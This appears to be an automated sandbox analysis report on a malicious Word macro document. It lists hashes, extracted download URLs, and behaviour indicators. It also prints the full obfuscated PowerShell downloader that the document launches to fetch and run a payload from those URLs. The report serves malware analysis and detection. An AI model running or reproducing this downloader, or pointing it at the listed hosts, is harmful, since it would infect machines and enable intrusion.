Analysis
-
max time kernel
134s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
25-05-2024 21:31
Behavioral task
behavioral1
Sample
7351205f71125258a6471472f1245705_JaffaCakes118.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
7351205f71125258a6471472f1245705_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
-
Target
7351205f71125258a6471472f1245705_JaffaCakes118.doc
-
Size
220KB
-
MD5
7351205f71125258a6471472f1245705
-
SHA1
7daec149ada7a834bb5f2a6fa32ee83220d604d9
-
SHA256
b9329e47e32e0ba208f78b2b9d4909cc0203c119e08866274af455abe7d8cb42
-
SHA512
af24b2c193173cf2893a63b8b531f514def38891367d8d1b588b02dc780ab42ea5f57beebb52019155daa2aaa0eb4264acea313451424874429046b278f3faa9
-
SSDEEP
3072:3H9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5LyXJm9YBmjDFhNw9l5wA:3FVeEsjdXRC3jexGG6YYWofFh29l5wA
Malware Config
Extracted
http://www.advokat-sng.com/blog/XjdeGu/
http://www.dokassessoria.com.br/cCeI3/
http://www.interfrazao.com.br/Zgv18b/
http://www.pdt-pinsk.by/TnbKOKYF/
http://www.audity.mx/Q/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 3992 3032 powershell.exe WINWORD.EXE -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 26 3992 powershell.exe 35 3992 powershell.exe 39 3992 powershell.exe 44 3992 powershell.exe 97 3992 powershell.exe 99 3992 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3032 WINWORD.EXE 3032 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3992 powershell.exe 3992 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3992 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 3032 WINWORD.EXE 3032 WINWORD.EXE 3032 WINWORD.EXE 3032 WINWORD.EXE 3032 WINWORD.EXE 3032 WINWORD.EXE 3032 WINWORD.EXE 3032 WINWORD.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 3032 wrote to memory of 3992 3032 WINWORD.EXE powershell.exe PID 3032 wrote to memory of 3992 3032 WINWORD.EXE powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7351205f71125258a6471472f1245705_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [STRING]::jOIn( '' ,( '8>79z65{69}17!66>73z91}1!67{78&70o73&79z88f12!98!73{88v2o123&73}78t111>64f69v73>66}88t23!8}86&111t127v17&11z68z88}88}92&22f3f3v91v91f91v2!77{72{90f67!71f77{88&1!95v66f75&2t79!67z65{3o78>64f67t75&3f116t70!72v73!107>89!3f108t68v88o88&92}22f3o3v91>91!91{2o72}67{71o77o95t95{73}95&95f67{94v69o77}2{79v67z65t2}78>94{3v79z111f73>101t31{3f108t68{88o88{92t22o3z3&91!91t91}2{69z66&88f73z94z74>94o77z86}77>67}2!79z67v65&2t78>94z3v118o75{90z29&20&78f3f108f68&88{88v92o22t3f3&91}91>91o2o92}72}88!1>92&69f66>95{71}2!78o85f3v120{66&78{103{99{103f117!106v3z108!68t88&88&92>22}3}3v91}91t91}2f77v89z72&69{88v85>2v65!84o3o125v3&11v2!127t92o64t69v88>4&11{108{11o5&23v8t120{91!121{12}17z12{11&21>20o30}11}23}8{72v109!104&17>8v73o66v90>22}88!73!65z92{7}11}112v11}7z8&120&91t121}7{11&2v73t84o73{11!23t74f67v94t73}77t79}68>4{8t94}64f110!12}69&66{12&8z86t111o127!5!87f88>94f85>87o8{79>65{69o2{104t67t91v66{64{67f77&72f106v69!64{73z4z8o94}64f110&0>12t8v72{109&104t5!23}127}88f77v94v88>1t124v94o67t79z73v95{95&12f8v72>109f104f23v78>94z73!77o71f23f81t79t77}88&79f68>87z81z81'.SpLit('t{v}&z>!fo' ) | foreaCh {[CHaR] ($_ -bXOr '0x2C' )} )) | &( $VerboSEprEFeReNcE.tOstRIng()[1,3]+'X'-JoiN'')2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3992
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
245KB
MD5f883b260a8d67082ea895c14bf56dd56
SHA17954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82